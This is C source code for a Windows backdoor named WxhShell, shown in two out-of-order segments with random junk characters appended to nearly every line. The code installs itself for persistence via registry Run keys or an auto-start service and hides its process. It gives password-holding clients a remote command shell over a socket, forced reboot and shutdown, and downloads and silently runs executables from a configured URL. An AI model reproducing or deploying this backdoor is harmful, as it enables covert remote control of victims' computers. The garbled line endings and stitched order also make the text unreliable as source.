    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,?erAI  
    else { ,]7ouH$H}  
    closesocket(wsh); &1yJrj9y  
    ExitThread(0); }DS%?6}Sy  
    } 6QCV i  
    break; 't&1y6Uu  
    } n]`]gLF\i  
  // 获取shell k6&~)7 -f  
  case 's': { 'ia-h7QWS  
    CmdShell(wsh); }P0bNY5?%  
    closesocket(wsh); -^2p@^  
    ExitThread(0); xb3G,F  
    break; +]A,fmI.  
  } ,v K%e>e&  
  // 退出 qnboXGaFu  
  case 'x': { 4KtD  k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yuBRYy#E|%  
    CloseIt(wsh); 5\C(2naf  
    break; V 97ORI  
    } 5z,q~CU  
  // 离开 oo\^}jb  
  case 'q': { L%/>Le}VX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rHB>jN@$  
    closesocket(wsh); py:L-5  
    WSACleanup(); 1C{0 R.  
    exit(1); ?.Vuet  
    break; M$%ON>K q  
        } T&dNjx  
  } slPr^)  
  } ]jxyaE&%4  
i@nRZ$K  
  // 提示信息 UX63BA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H`)eT6:|/  
} QOktIH  
  } >IrQhSF  
DSqA}r  
  return; >^Wpc  
} 3WF]%P%  
y,`n9[$K\  
// shell模块句柄 |.$B,cEd  
int CmdShell(SOCKET sock) 5X)QW5A  
{ Y GOkqI  
STARTUPINFO si; lwX9:[Z  
ZeroMemory(&si,sizeof(si)); O U7OX]h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ebs]]a>PO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yc]k<tQ  
PROCESS_INFORMATION ProcessInfo; Nm z5:Rq  
char cmdline[]="cmd"; #;a+)~3*O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1?H; c5?d&  
  return 0; 'yX\y 6I  
} pP":,8Q{  
8A&N+sT  
// 自身启动模式 X5/j8=G H`  
int StartFromService(void) VVch%  
{ `RSiZ%Al  
typedef struct C;HEv q7  
{ 6AJ`)8HX  
  DWORD ExitStatus; f\cTd/?Ju  
  DWORD PebBaseAddress; I\6C0x  
  DWORD AffinityMask; ^2$b8]q  
  DWORD BasePriority; eC"e v5v  
  ULONG UniqueProcessId; !Z2h ?..O  
  ULONG InheritedFromUniqueProcessId; 6jc5B#  
}   PROCESS_BASIC_INFORMATION; ty['yV-;a  
p1niS:}j  
PROCNTQSIP NtQueryInformationProcess; & n@hD7=(  
<}~ /. Cx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /r'Fq =z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u-iQ  
bS8$[7OhX  
  HANDLE             hProcess; Ry X11XU  
  PROCESS_BASIC_INFORMATION pbi; liPrxuP`  
w,j!%N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3lWGa7<4Z  
  if(NULL == hInst ) return 0; }rmr0Bh  
A2\hmp@A@7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s-Gd{=%/q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jG `PyIgw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <`SA >P  
/'DAB**  
  if (!NtQueryInformationProcess) return 0; .$cX:"_Mk  
]Whv%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "6%{#TZ  
  if(!hProcess) return 0; d1g7:s9$0  
l^bak]9 1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :dbO|]Xf  
o<48'>[  
  CloseHandle(hProcess); uaP5(hUI  
9s5s;ntz"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WNjG/U  
if(hProcess==NULL) return 0; \PN*gDmX  
k8n9zJ8  
HMODULE hMod; k}g4?  
char procName[255]; ehr\lcS<  
unsigned long cbNeeded; X=?9-z] QO  
? }ff O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TW 1`{SM  
P*;[&Nn4  
  CloseHandle(hProcess); {Q$8p2W  
u{uqK7]+  
if(strstr(procName,"services")) return 1; // 以服务启动 .u&X:jOE  
VgbT/v  
  return 0; // 注册表启动 S3HyB b  
} GJU(1%-  
/z!y[ri+J  
// 主模块 N\]-/$z  
int StartWxhshell(LPSTR lpCmdLine) 7fWZ/;p  
{ vAG|Y'aO@%  
  SOCKET wsl; J=kf KQV  
BOOL val=TRUE; Y#9bM $x7  
  int port=0; //r)dN^  
  struct sockaddr_in door; ?vWF[ DRd'  
%b_0l<+  
  if(wscfg.ws_autoins) Install(); G 9 &,`  
TT;ls<(Lg  
port=atoi(lpCmdLine); Y evd h<  
fbdpDVmpU  
if(port<=0) port=wscfg.ws_port; \L?A4Qx)_  
MR4k#{:w  
  WSADATA data; '.%Omc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @6!Myez'  
x3 ( _fS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   By[M|4a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #:Q\   
  door.sin_family = AF_INET; 7nxH>.,Q>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hDg"?{  
  door.sin_port = htons(port); \AI-x$5R*  
WCqa[=v)t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZjY?T)WE9  
closesocket(wsl); ?c"i V  
return 1; lOb(XH9  
} -~J5aG[@~>  
i& \ >/ 1  
  if(listen(wsl,2) == INVALID_SOCKET) { sc-hO9~k  
closesocket(wsl); zFYzus`>  
return 1; Z{ 9Io/  
} aS>cXJ;=  
  Wxhshell(wsl); )3|a_   
  WSACleanup(); ?Ec{%N%  
805oV(-  
return 0; L"c.15\  
C*RPSk  
} g%ys|  
jc !V|w^  
// 以NT服务方式启动 !"hzGgOOX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ed-3-vJej6  
{ .*+jD^Gr  
DWORD   status = 0; nHF~a?|FT  
  DWORD   specificError = 0xfffffff; !lZ}kz0  
&Wdi 5T8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >@a7Zzl0H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qv:DpK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k %sxA  
  serviceStatus.dwWin32ExitCode     = 0; ;/ |tU o$  
  serviceStatus.dwServiceSpecificExitCode = 0; JXt_  
  serviceStatus.dwCheckPoint       = 0; TB<$9FCHK  
  serviceStatus.dwWaitHint       = 0; EK Q>hww8  
<wd;W;B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -i91nMi]  
  if (hServiceStatusHandle==0) return; .>}Z3jUrf  
y G mFi  
status = GetLastError(); j]-_kjt  
  if (status!=NO_ERROR) <4zSh3  
{ |v#D}E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QaA?UzB  
    serviceStatus.dwCheckPoint       = 0; G%!i="/9  
    serviceStatus.dwWaitHint       = 0; +RiI5.$=Z  
    serviceStatus.dwWin32ExitCode     = status; nHZhP4W  
    serviceStatus.dwServiceSpecificExitCode = specificError; !`W0;0'Zg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?h| DeD!s  
    return; oxI?7dy5  
  } KCp9P2kv.  
PAC=LQn&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oSYbx:2wo  
  serviceStatus.dwCheckPoint       = 0; w~=xO_%  
  serviceStatus.dwWaitHint       = 0; c7[Ba\Cr4h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7j#Ix$Ur  
} g2M1zRm;  
k f|J  
// 处理NT服务事件,比如:启动、停止 @W==)S%O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sK/ymEfRv  
{ 6rCUq  
switch(fdwControl) }1CvbB%,A  
{ {F\P3-ub  
case SERVICE_CONTROL_STOP: Fo~q35uB  
  serviceStatus.dwWin32ExitCode = 0; tWaGCxaE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z_A\\  
  serviceStatus.dwCheckPoint   = 0; ^q%f~m,O<  
  serviceStatus.dwWaitHint     = 0; d@b2XCh<K  
  { 0~DsA Ua  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q@ wX=  
  } :2wT)wz  
  return; #e@[{s7  
case SERVICE_CONTROL_PAUSE: yOP$~L#TWs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %t74*cX  
  break; CC$rt2\e  
case SERVICE_CONTROL_CONTINUE: /V] i3ac  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;/IX w>O(/  
  break; rH\oFCzC  
case SERVICE_CONTROL_INTERROGATE: GyFA1%(o  
  break; } ,Dk6w$  
}; "W9z>ezp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N6A|  
} 2jkma :$'  
muFWFq&yP  
// 标准应用程序主函数 sP=^5K`g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dAOJ: @y  
{ A ;|P\V  
3mg:9]X9  
// 获取操作系统版本 y T&#k1  
OsIsNt=GetOsVer(); LA/Qm/T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A#i[Us|  
^.~e  
  // 从命令行安装 #60gjHYaV  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2l:cP2fa  
!g#y$  
  // 下载执行文件 ?k^m|Z  
if(wscfg.ws_downexe) { 2)QZYgfh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (FGH t/!  
  WinExec(wscfg.ws_filenam,SW_HIDE); |fgh ryI,  
} >S{8sN  
"Rtt~["%  
if(!OsIsNt) { )vuIO(8F#  
// 如果时win9x,隐藏进程并且设置为注册表启动 W!+=`[Ff  
HideProc(); =OTu8_ d0t  
StartWxhshell(lpCmdLine); #v6<9>%  
} ~HKzqGQy >  
else zzd PR}VG  
  if(StartFromService()) 2{oQ  
  // 以服务方式启动 <;1M!.)5  
  StartServiceCtrlDispatcher(DispatchTable); h1f 05  
else i]qxF&1  
  // 普通方式启动 S{{wcH$n'i  
  StartWxhshell(lpCmdLine); >8$Lqj^i  
Q=#FvsF#z3  
return 0; 2gEF$?+q?  
} ho^jmp  
'tX}6wurf  
4 DV,f2:R4  
"2 :zWh7|  
=========================================== s={IKU&m[  
b+$wx~PLi  
)FfS7 C\.  
3'SN0VL  
_|;{{8*?  
LE?sAN  
"  <$K7f  
7[0CVWs,  
#include <stdio.h> i4M%{]G3Y  
#include <string.h> -uhVw_qq#  
#include <windows.h> OO,EUOh-T:  
#include <winsock2.h> ,VzbKx,  
#include <winsvc.h> >?ec"P%vS/  
#include <urlmon.h> ##Qy6Dc  
sNMF(TY  
#pragma comment (lib, "Ws2_32.lib") GBT219Z@8  
#pragma comment (lib, "urlmon.lib") vw-y:,5`t8  
9j5-/   
#define MAX_USER   100 // 最大客户端连接数 Oa M~rze  
#define BUF_SOCK   200 // sock buffer N-45LS@  
#define KEY_BUFF   255 // 输入 buffer u0qTP]  
v0T?c53?  
#define REBOOT     0   // 重启 m SO7r F  
#define SHUTDOWN   1   // 关机 q &S@\b  
,)VAKrSg  
#define DEF_PORT   5000 // 监听端口 ^E~1%Md.  
_c(h{dn  
#define REG_LEN     16   // 注册表键长度 7=&+0@R#/d  
#define SVC_LEN     80   // NT服务名长度 3/]~#y%2  
HC6v#-( `{  
// 从dll定义API XQtV$Lw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6l2Os $  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b S'dXP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /wkrfYRs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b+L!p.:  
+k/=L9#e  
// wxhshell配置信息 GXRW"4eF5  
struct WSCFG { t oM+Bd:Y  
  int ws_port;         // 监听端口 bik lja  
  char ws_passstr[REG_LEN]; // 口令 [*5hx_4%B  
  int ws_autoins;       // 安装标记, 1=yes 0=no m9\~dD  
  char ws_regname[REG_LEN]; // 注册表键名 f>&*%[fw  
  char ws_svcname[REG_LEN]; // 服务名 H;ujB \+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [ /<kPi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *&V"x=ba,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *_H]?&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^ q3H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /)?qD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +6^hp-G7  
voJJoy%  
}; lwjA07 i  
7$8DMBqq  
// default Wxhshell configuration Ag&K@%|*  
struct WSCFG wscfg={DEF_PORT, U r8JG&,  
    "xuhuanlingzhe", J*AYZS-tSE  
    1, k`s_31<  
    "Wxhshell", +k0UVZZX?  
    "Wxhshell", |;I"Oc.w^R  
            "WxhShell Service", c6iFha;db  
    "Wrsky Windows CmdShell Service", &!FI!T -WH  
    "Please Input Your Password: ", Gh<#wa['}  
  1, HYZp= *eb  
  "http://www.wrsky.com/wxhshell.exe", czB),vooz  
  "Wxhshell.exe" xqauSW  
    }; :8N{;aui  
9%m^^OOf  
// 消息定义模块 >gl.ILo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \tP*Pz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 42:,*4t(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =c%gV]>G  
char *msg_ws_ext="\n\rExit."; 6y"T;.FAo  
char *msg_ws_end="\n\rQuit."; 0C6T>E7  
char *msg_ws_boot="\n\rReboot..."; LKZv#b[h  
char *msg_ws_poff="\n\rShutdown..."; Qtt3;5m  
char *msg_ws_down="\n\rSave to "; n;QFy5HB8  
ij.NSyk9  
char *msg_ws_err="\n\rErr!"; Z!4B=?(  
char *msg_ws_ok="\n\rOK!"; E5Ls/ H K  
l7Wdbx5x0  
char ExeFile[MAX_PATH]; r[#*..Y  
int nUser = 0; omT^jh  
HANDLE handles[MAX_USER]; xhB-gG=  
int OsIsNt; u)%/df qzZ  
f=Oj01Ut*  
SERVICE_STATUS       serviceStatus; ke)<E98DC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \{qtdTd  
:W+%jn  
// 函数声明 JM53sx4&  
int Install(void); *@W B aN+  
int Uninstall(void); Ql,WKoj*  
int DownloadFile(char *sURL, SOCKET wsh); v|@EuN14<  
int Boot(int flag); >x ]{c b/m  
void HideProc(void); R_vK^Da  
int GetOsVer(void); Cn_r?1{W  
int Wxhshell(SOCKET wsl); <y#@v  G  
void TalkWithClient(void *cs); 7dOpJjv?)  
int CmdShell(SOCKET sock); CX ; m8  
int StartFromService(void); &<cP{aBa  
int StartWxhshell(LPSTR lpCmdLine); 5fLp?`T  
anORoK.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?/(*cA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g'EPdE  
={jj'X9  
// 数据结构和表定义 s~c cx"HH  
SERVICE_TABLE_ENTRY DispatchTable[] = }^*`&Lh  
{ 3~LNz8Z*  
{wscfg.ws_svcname, NTServiceMain}, Gsz$H_  
{NULL, NULL} MFipXE!  
}; t$lJgj(  
 gOp81)  
// 自我安装 PK&X | h  
int Install(void) 5JG`FRW!  
{ 3.rl^Cq1  
  char svExeFile[MAX_PATH]; g3Ul'QJ  
  HKEY key; %2^V.`0T  
  strcpy(svExeFile,ExeFile); 6H0aHCM  
Ix0#eoj  
// 如果是win9x系统,修改注册表设为自启动 ?iL-2I3*  
if(!OsIsNt) { tv; ?W=&P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x6vkd%fCj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %~0]o@LW7  
  RegCloseKey(key); g9IIC5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FR\r/+n:t0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i;:}{G<  
  RegCloseKey(key); 'Hu+8,xA  
  return 0; $-(lp0\*  
    } SUL\|z`5  
  } xJOp ~fKG  
} yz)Nco]  
else { &0{&4,  
z*o2jz?t4  
// 如果是NT以上系统,安装为系统服务 ZR8y9mx2"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "po;[ Ia2  
if (schSCManager!=0) SXV2Y-  
{ r/QI-Cf&  
  SC_HANDLE schService = CreateService Iomx"y]9  
  ( %iZ~RTY6 !  
  schSCManager, N_(-\\mq  
  wscfg.ws_svcname, o ,8;=f,7  
  wscfg.ws_svcdisp, G+m[W  
  SERVICE_ALL_ACCESS, q~{O^,4S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EV;"]lC9  
  SERVICE_AUTO_START, d^"|ESQEU  
  SERVICE_ERROR_NORMAL, C]3^:b+   
  svExeFile, &C#?&AQ  
  NULL, ~b[5}_L=>  
  NULL, }x_:v!G  
  NULL, G%CS1#  
  NULL, _OK!/T*FBt  
  NULL j3[kG#  
  ); -JclEp  
  if (schService!=0) p1IN%*IV+o  
  { W^eQ}A+Z  
  CloseServiceHandle(schService); LDDt=HEY4  
  CloseServiceHandle(schSCManager); =$_kkVQ$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mw83pU6  
  strcat(svExeFile,wscfg.ws_svcname); [9y y<Z5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Io('kCOR;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S=$ \S9  
  RegCloseKey(key); 5K =>x<  
  return 0; 0Q]{r )  
    } .la_u8A]  
  } .RbPO#(  
  CloseServiceHandle(schSCManager); ~6[3Km|2  
} tHFUV\D;,  
} -r[O_[g w  
m;vm7]5  
return 1; *(sv5c!0M8  
} Q@C  y\l  
- P4X@s_;  
// 自我卸载 1W7ClT_cQ  
int Uninstall(void) Jn20^YG  
{ 6)~7Uf:<v  
  HKEY key; p)~EG=p  
98CS|NEe  
if(!OsIsNt) { 6L-3cxqf\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4u1au1c  
  RegDeleteValue(key,wscfg.ws_regname); `L3{y/U'  
  RegCloseKey(key); 5+/XO>P1m|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =ibKdPtTh^  
  RegDeleteValue(key,wscfg.ws_regname); Q6CVMYT  
  RegCloseKey(key); qh6Q#s>tH  
  return 0; hE +M|#o  
  } QL-E4]   
} )OFf nKh  
} )t$-/8  
else { gbFHH,@  
2Xv$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E/^N   
if (schSCManager!=0) ,fhK  
{ 1\/^X>@W{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AzSmfEaU0  
  if (schService!=0) <Q_E3lQy/  
  { ,/dW*B  
  if(DeleteService(schService)!=0) { -s 7a\H{~  
  CloseServiceHandle(schService); 3k:`7E.  
  CloseServiceHandle(schSCManager); Q|7m9~  
  return 0; 'lOpoWDL  
  } |zy` ]p9  
  CloseServiceHandle(schService); _*wlK;`  
  } a *nCvZ  
  CloseServiceHandle(schSCManager); i`!>zl+D  
} V"KuwM  
} kXO c)  
{^R>H|~  
return 1; wjHH%y  
} </2Cn@  
k: z)Sw  
// 从指定url下载文件 RvyCc!d  
int DownloadFile(char *sURL, SOCKET wsh) z7&m,:M  
{ <lRjh7  
  HRESULT hr; jT4 m(j  
char seps[]= "/"; $ou/ Fn  
char *token; P6`LUyz3  
char *file; FMT_X  
char myURL[MAX_PATH]; #`%V/#YK  
char myFILE[MAX_PATH]; m1RjD$fM  
mJsU7bD`  
strcpy(myURL,sURL); _CizU0S  
  token=strtok(myURL,seps); NZ% v{?  
  while(token!=NULL) +)_#j/  
  { sRC?l_n;  
    file=token; -v9x tNg  
  token=strtok(NULL,seps); }wC=p>zA  
  } ^$y`Q@-9  
_:KeSskuO  
GetCurrentDirectory(MAX_PATH,myFILE); +9.GNu  
strcat(myFILE, "\\"); *`t3z-L  
strcat(myFILE, file); [f]:h Ji  
  send(wsh,myFILE,strlen(myFILE),0); UryHte  
send(wsh,"...",3,0); O{EbL5p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M`?ATmYy  
  if(hr==S_OK) `~ h8D9G  
return 0; %U9f`qE  
else *~d<]U5h  
return 1; A" IaFXB  
zT'(I6 S:)  
} 07>D G#  
VYQ]?XF3i  
// 系统电源模块 a@! O}f*  
int Boot(int flag) e+y%M  
{ Ib"fHLWA^!  
  HANDLE hToken; <WL] (-9I:  
  TOKEN_PRIVILEGES tkp; u|(Iu}sE=  
',I$`h  
  if(OsIsNt) { xo{z4W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;6`7 \  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [2ri=lf,  
    tkp.PrivilegeCount = 1; %:7/ym[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~31-)*tJ]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G9CL}=lJ,  
if(flag==REBOOT) { `* cJc6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0<nW nD,z  
  return 0; c&"1Z/tR  
} 9+~1# |  
else { wIF)(t-):  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U:8cz=#  
  return 0; .GvZv>  
} ;.7]zn.X]2  
  } vX$|/74  
  else { x #t?`  
if(flag==REBOOT) { *]ME]2qP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fF. +{-.  
  return 0;  hAD gi^  
} ^O**ZndB/  
else { ^%qQ)>I=j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H:o=gP60]  
  return 0; 8cj}9}k  
} ZC)m&V 1  
} |Rb8 / WX  
zvT8r(<n}  
return 1; gKRlXVS  
} ;kD Rm'(  
$"3cN&  
// win9x进程隐藏模块 I3YSW  
void HideProc(void) LqS_%6^  
{ Q>uJ:[x+  
~_ko$(;A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (>gb9n  
  if ( hKernel != NULL ) +SkfT4*U  
  { Jv~^hN2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "}:SXAZ5`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v5*JBW+c*  
    FreeLibrary(hKernel); svMu85z  
  } aF.fd2k  
zn5|ewl@"  
return; HcHwvf6y  
} D*ZswHT{y  
V|pO";%>,  
// 获取操作系统版本 Lo}zT-F  
int GetOsVer(void) 5zH_yZ@+  
{ RF'&.RtVa  
  OSVERSIONINFO winfo; ~FnY'F<35  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =@MJEo`D  
  GetVersionEx(&winfo); aO* v"^oF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %4Yq (e  
  return 1; <,Jx3y q  
  else |^OK@KdL1  
  return 0; Kae-Y  
} K/8TwB?I  
ra^"Vr  
// 客户端句柄模块 >&Y\g?Z6G  
int Wxhshell(SOCKET wsl) Z5[g[Q  
{ -K6y#O@@  
  SOCKET wsh; yER  
  struct sockaddr_in client; 0Q[;{}W}  
  DWORD myID; Bx|h)e9  
mnU8i=v0 A  
  while(nUser<MAX_USER) 0m4'm<2m  
{ $rPQ%2eF4  
  int nSize=sizeof(client); ~ F>'+9?Sn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NBA`@K~4  
  if(wsh==INVALID_SOCKET) return 1; '|G8yojz  
?B<.d8i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rW`l1yi*$  
if(handles[nUser]==0) TpxAp',#7  
  closesocket(wsh); 1tlqw  
else ?3<Y/Vg%c  
  nUser++; 7hT@,|(j  
  } >C`#4e?}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AL|3_+G  
rv2;)3/*  
  return 0; Nwk^r75lq  
} uS! V_]  
.>Fpk7  
// 关闭 socket r"dR}S.Uf  
void CloseIt(SOCKET wsh) 8( bK\-b  
{ KIY9?B=+  
closesocket(wsh); Q|G|5X  
nUser--; j? Vs"d|  
ExitThread(0); P[jh^!<j  
} Wlp`D  
xsU3c0wbr8  
// 客户端请求句柄 =Ea,8bpn  
void TalkWithClient(void *cs) mv(/M t  
{ w7f)v\p  
kkXe=f%  
  SOCKET wsh=(SOCKET)cs; Ti>}To}B5  
  char pwd[SVC_LEN]; JX`>N(K4\  
  char cmd[KEY_BUFF]; gZ=$bR  
char chr[1]; h7AO5"6  
int i,j; X,D ]S@  
<]*Jhnx/  
  while (nUser < MAX_USER) { D[{"]=-  
nPH\Lra  
if(wscfg.ws_passstr) { n2Q ?sV;m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )/Oldyp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^1Bk*?Yx\x  
  //ZeroMemory(pwd,KEY_BUFF); =nlj|S ~3  
      i=0; ,q$2D,dz  
  while(i<SVC_LEN) { /Z]hX*QR  
5[~ C!t;  
  // 设置超时 Sp]ov:]%f  
  fd_set FdRead; 7mL1$i6=  
  struct timeval TimeOut; S KGnx  
  FD_ZERO(&FdRead); rw?wlBEG%  
  FD_SET(wsh,&FdRead); [~?6jnp  
  TimeOut.tv_sec=8; 4I2#L+W  
  TimeOut.tv_usec=0; qBZ;S3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *Zn,v-d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bnV)f<  
]PbwG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bo ??1y  
  pwd=chr[0]; C}\kp0mz  
  if(chr[0]==0xd || chr[0]==0xa) { -o57"r^x  
  pwd=0; wkT4R\H>  
  break; jRxzZt4  
  } etk|%%J  
  i++; m`jGBSlw_  
    } )4H0Bz2G  
tR_DN  
  // 如果是非法用户,关闭 socket &09G9GsnQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;XXEvRk  
} Z 2lX^z  
A[f `xE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?XVox*6K&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eGo$F2C6E  
z'0 =3  
while(1) { _V` QvnT}  
Ah zV?6e  
  ZeroMemory(cmd,KEY_BUFF); B&}lYo  
8qT^=K $  
      // 自动支持客户端 telnet标准   rEs!gGNN  
  j=0; +:u &]  
  while(j<KEY_BUFF) { Hq,znRz~`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u3HaWf3  
  cmd[j]=chr[0]; %t$)sg]  
  if(chr[0]==0xa || chr[0]==0xd) { pWKI^S  
  cmd[j]=0; uFaT~ 4  
  break; sO)!}#,   
  } YW"nPZNPy~  
  j++; XOEf,"  
    } c32"$g  
d/E0opv  
  // 下载文件 _;-b ZH  
  if(strstr(cmd,"http://")) { /1r {z1pv\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UiZ1$d*  
  if(DownloadFile(cmd,wsh)) pzU:AUW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); / q^_ 'Lp  
  else Q|Nw @7$`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :{?Pq8jP  
  } dkZ[~hEQG-  
  else { pFEU^]V3*  
x8&~  
